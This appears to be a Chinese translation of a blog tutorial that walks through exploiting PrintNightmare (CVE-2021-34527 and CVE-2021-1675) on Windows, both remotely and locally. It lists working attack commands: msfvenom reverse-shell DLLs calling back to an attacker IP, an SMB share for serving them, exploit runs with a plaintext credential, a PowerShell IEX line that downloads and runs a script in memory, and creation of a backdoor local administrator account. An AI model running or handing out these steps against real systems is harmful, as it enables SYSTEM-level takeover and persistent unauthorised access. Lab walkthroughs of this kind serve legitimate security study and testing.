Windows 提权-PrintNightmare

本文通过 Google 翻译 PrintNightmare -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航

  • [0 前言](#0 前言)
  • [1 CVE-2021-34527 -- PrintNightmare RCE(准 远程代码执行)](#1 CVE-2021-34527 – PrintNightmare RCE(准 远程代码执行))
    • [1.1 远程枚举 Print Spooler 服务](#1.1 远程枚举 Print Spooler 服务)
    • [1.2 行刑前的准备](#1.2 行刑前的准备)
    • [1.3 利用 CVE-2021-1675.py](#1.3 利用 CVE-2021-1675.py)
  • [2 CVE-2021-1675 -- PrintNightmare LPE(本地权限提升)](#2 CVE-2021-1675 – PrintNightmare LPE(本地权限提升))
    • [2.1 本地枚举 Print Spooler 服务](#2.1 本地枚举 Print Spooler 服务)
    • [2.2 利用 SharpPrintNightmare.exe](#2.2 利用 SharpPrintNightmare.exe)
    • [2.3 利用 CVE-2021-1675.ps1](#2.3 利用 CVE-2021-1675.ps1)

0、前言

在这篇文章中,我们将介绍被称为 PrintNightmare(打印梦魇)的权限提升技术,该技术是针对 Windows 打印后台处理 服务里面存在的一个漏洞进行的利用。下面,我们将演示怎样在远程本地去列举打印后台处理服务,并且还会展示怎样使用三种不同的工具来利用这个服务。

PrintNightmare 是影响 Windows 操作系统的严重安全漏洞,它有两种变体,一种允许远程代码执行(CVE-2021-34527),另一种导致权限提升(CVE-2021-1675)。

注:PrintNightmare 漏洞影响着 Windows 几乎所有的版本。Windows 7、Windows 8.1、Windows 10,Windows Server 2008、2012、2016、2019、2022,甚至 Windows 11 也受到一定影响。

1、CVE-2021-34527 -- PrintNightmare RCE(准 远程代码执行)

首先,我们将使用 Impacket 套件中的 rpcdump.py 工具来远程枚举目标机器的打印服务,一旦确认该服务正在运行,就使用 CVE-2021-1675.py 脚本来利用该服务。

CVE-2021-1675.py 脚本会配合攻击者机器上共享的恶意 DLL 文件,让 DLL 文件直接在受害者机器上执行,一旦 DLL 被执行,它将为我们提供一个 SYSTEM shell!

CVE-2021-1675.py 的 GitHub 仓库中还包含此脚本的 CSharp 版本:SharpPrintNightmare,而这个将在后文使用它。

使用此 RCE 漏洞的前提条件是:需要一个标准用户的凭证(密码或 NTLM hash) 。尽管这也被视作是 RCE 漏洞,但它其实主要还是一个权限提升漏洞,因为需要提供标准用户凭证,并且该标准用户的权限最终会被提升到 SYSTEM 级别。

在此示例中,假设我们通过暴力攻击获取到了用户 cmarko 的凭据。

1.1、远程枚举 Print Spooler 服务

要扫描目标计算机以查找 print spooler 服务是否正在运行,请使用以下命令:

bash 复制代码
rpcdump.py @172.16.1.50 | egrep 'MS-RPRN|MS-PAR'

如果输出有结果,那么它应该是脆弱的!

现在我们知道打印服务正在目标机器上运行着,此时,还需要使用 msfvenom 制作一个恶意 DLL 以供 CVE-2021-1675.py 使用。

1.2、行刑前的准备

由于没有好的方法能够让我们远程对目标机器进行 100% 的指纹识别,以确定操作系统版本和架构。因此我们可以为这个漏洞同时制作 64 位和 32 位 DLL。这样,如果其中一个不起作用,我们就可以测试另一个。

由于目标很有可能是 64 位的架构,因此首先使用以下命令创建 64 位的 DLL:

bash 复制代码
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o nightmare64.dll

接着制作一个 32 位的 DLL,为 64 位 DLL 失败时做好准备:

bash 复制代码
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f dll -o nightmare86.dll

接下来,我们把两个 DLL 都放在同一个目录中,然后为此目录设置 SMB 共享,可使用以下命令:

bash 复制代码
impacket-smbserver share $(pwd) -smb2support

这会将共享文件夹命名为 'share',这意味着我们的 DLL 可以以 \\IP\share\nightmare64.dll这种方式访问。

一切准备就绪,我们就可以开始下面介绍的利用操作了。

1.3、利用 CVE-2021-1675.py

首先,我们需要在攻击者计算机上启动 443 端口的监听器,因为这也是 DLL 反向连接所选择的端口。接着,就可以使用以下命令来利用 print spooler 服务了:

bash 复制代码
python3 CVE-2021-1675.py juggernaut.local/cmarko:'N0cturn@l21'@172.16.1.50 '\\172.16.1.30\share\nightmare64.dll'

可以看到利用程序正在开始做一些事情。

然后回到我们的监听器,可以看到一个 SYSTEM shell 已经建立成功!

2、CVE-2021-1675 -- PrintNightmare LPE(本地权限提升)

上面的 RCE 示例结束后,现在来看看我们如何使用两种不同的工具在本地利用这一漏洞。

首先,我们将编译并使用 SharpPrintNightmare.exe 再次执行恶意 DLL。其次,我们将探索使用 PowerShell 脚本来利用该服务并创建一个新的管理员用户。而在 PowerShell 示例中,将使用 Invoke-Expression (IEX) cmdlet 直接将脚本下载到内存中并执行(注:又叫文件不落地执行)。

对于此示例,假设我们无法提供任何用户凭据,但是能够利用一个 Web 漏洞获得一个 cmarko 普通用户身份的 shell。这意味着我们获得了立足点,但是不知道用户的密码。

2.1、本地枚举 Print Spooler 服务

在开始枚举服务之前,我们希望跳转到 PowerShell shell 中去。【虽然并不是必须要跳转到 powershell 中才能进行枚举,但为后文要频繁使用 powershell 做准备,先提前熟悉下。】

要跳转到 PowerShell shell,可以简单地在当前 shell 中使用以下命令【注:这通常可能会导致 cmd shell 挂起或卡死。】:

cmd 复制代码
powershell -ep bypass

如果上述命令不起作用,导致 cmd shell 挂起或卡死,则可以使用 Nishang 的反向 TCP 脚本以将 cmd shell 升级到 powershell shell;亦或使用 powershell -c "command" 的方式去执行 PowerShell 的 cmdlet 命令。

在 PowerShell shell 中,可以使用以下命令轻松枚举打印服务是否正在运行:

powershell 复制代码
Get-Service "Spooler"

这表明 Print Spooler 服务当前正在运行,也意味着此受害者机器容易受到攻击!

此外,我们还应该检查一下系统的版本信息和架构信息,以便在制作恶意 DLL 时能明确知道该怎么做。

cmd 复制代码
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

可以看到,这是一个 64 位的系统,这也就是为什么在第一节中我们远程利用此服务时,64 位的恶意 DLL 会起作用。

2.2、利用 SharpPrintNightmare.exe

在枚举完打印服务并发现它正在运行后,接下来,需要开始设置我们的攻击。

现在,我们已经拥有了同 CVE-2021-1675.py 一块的 SharpPrintNightmare 文件。

但由于没有该程序的编译版本,因此我们需要将整个文件夹和其中的所有文件/子文件夹传输到安装了 Visual Studio 的实验计算机上。然后从那里,使用 Visual Studio 打开 SLN 文件,将其编译为可执行文件。

我计划在将来写一篇关于以各种方式编译可执行文件的文章。但此刻,可以先参考这篇文章中使用 Visual Studio 编译 EXE 的示例。

在此示例中,我们将复用之前制作的恶意 DLL ,然后以类似之前使用 CVE-2021-1675.py 时候的那种方式进行利用。唯一的区别是,这次我们将 EXE 和 DLL 全都下载到受害者的本地磁盘上。

因为,如果我们要直接从共享执行 EXE 和 DLL 程序,是需要管理员权限的,这就是为什么需要将 EXE 和 DLL 放在本地磁盘上。【注:这里我在win7、win10 上测试单个 EXE 是不需要管理员权限便可以运行的,但 EXE + DLL 的方式可能就不行了?】

在编译完 SharpPrintNightmare 二进制文件并将其发送回攻击者计算机后,我们可以将 EXE 和 DLL 放在一起,然后为该目录开启 HTTP 服务。

然后在受害者机器下载 SharpPrintNightmare.exe 和 nightmare64.dll 文件。

剩下的就是在端口 443 上再次启动 netcat 监听器以捕获反向连接的 SYSTEM shell,然后执行以下命令:

powershell 复制代码
C:\temp\SharpPrintNightmare.exe 'C:\temp\nightmare64.dll'

可以看到,它又在做一些事情了,和远程利用时候的情况非常相似。

回头检查我们的监听器,发现有一个 SYSTEM shell!

2.3、利用 CVE-2021-1675.ps1

在本例开始之前,我们需要先获取 CVE-2021-1675.ps1 的副本,然后将其放置在 EXE 和 DLL 所在的目录下。

然后,我们可以使用以下 echo 命令将脚本调用函数附加到脚本底部:

bash 复制代码
echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> CVE-2021-1675.ps1

最终,脚本的底部就像下面这样:

这条后加的命令会创建一个名为 pwnt 的新用户,账户的密码为 Password123,且新用户会被添加到本地管理员组。

在脚本底部添加命令的方式,会使得该脚本在被 IEX 下载到内存时,该命令会被自动执行。

在开始漏洞利用前,先使用 net user 命令,可以确认当前并不存在名为 'pwnt' 的用户。

现在,我们使用以下命令开始漏洞利用:

powershell 复制代码
iex(new-object net.webclient).downloadstring('http://172.16.1.30/CVE-2021-1675.ps1')

从脚本的输出中可以看到,该漏洞利用创建了一个恶意 DLL,该 DLL 创建了我们指定的用户,然后将其添加到本地管理员组。然后,它会清理并删除自己创建的 DLL。

现在,当我们再次检查 net user 和 net localgroup administrators 时,将看到新创建的用户。

现在,我们能用这个用户做些什么呢?好吧,如果 RDP 已打开,那么可以使用 xfreerdp 通过远程桌面进入受害者机器,然后使用"以管理员身份运行"打开 cmd.exe,以启用我们的所有权限。

bash 复制代码
sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard

Cool,我们可以获得管理员的全部权限,但是如果 RDP 未打开时会发生什么情况呢?当我们使用 crackmapexec 测试 SMB 的访问时,会看到用户是有效的。但是,并没有出现预期的 Pwn3d!提示,这意味着我们无法通过 SMB 服务执行命令。

bash 复制代码
crackmapexec smb 172.16.1.50 -u pwnt -p Password123 --local-auth

同时,我们使用 psexec.py 测试也是没有效果的。

而之所以会发生这种无法登录的情况,是因为我们的本地管理员用户被 UAC 阻碍了。而我们可以绕过这一点,在没有 GUI 的情况下以该用户的身份获取一个 admin shell。但是,这需要先使用 RunAs 技术获取一个中完整性 shell,然后使用某种 UAC 绕过技术将中完整性 shell 提升到高完整性 shell。

相关推荐
love530love1 小时前
【笔记】Windows 下载并安装 ChromeDriver
人工智能·windows·笔记·python·深度学习
不爱说话郭德纲2 小时前
你需要来自XXX的权限才能对此文件夹进行更改?看我三步暴删
linux·windows·操作系统
南京**5 小时前
python学习(一)
windows·python·学习
开开心心_Every6 小时前
免费且好用的PDF水印添加工具
android·javascript·windows·智能手机·pdf·c#·娱乐
TeleostNaCl8 小时前
OpenWrt 搭建 samba 服务器的方法并解决 Windows 不允许访问匿名服务器的方法
运维·服务器·windows·经验分享·智能路由器
苇柠15 小时前
Java补充(Java8新特性)(和IO都很重要)
java·开发语言·windows
love530love18 小时前
【笔记】2025 年 Windows 系统下 abu 量化交易库部署与适配指南
大数据·运维·人工智能·windows·笔记·python·conda
love530love18 小时前
【笔记】为 Python 项目安装图像处理与科学计算依赖(MINGW64 环境)
开发语言·图像处理·人工智能·windows·笔记·python·numpy
不愧是你呀19 小时前
C++中单例模式详解
网络·c++·windows·单例模式
三体世界1 天前
Linux --TCP协议实现简单的网络通信(中英翻译)
linux·c语言·开发语言·网络·c++·windows·tcp/ip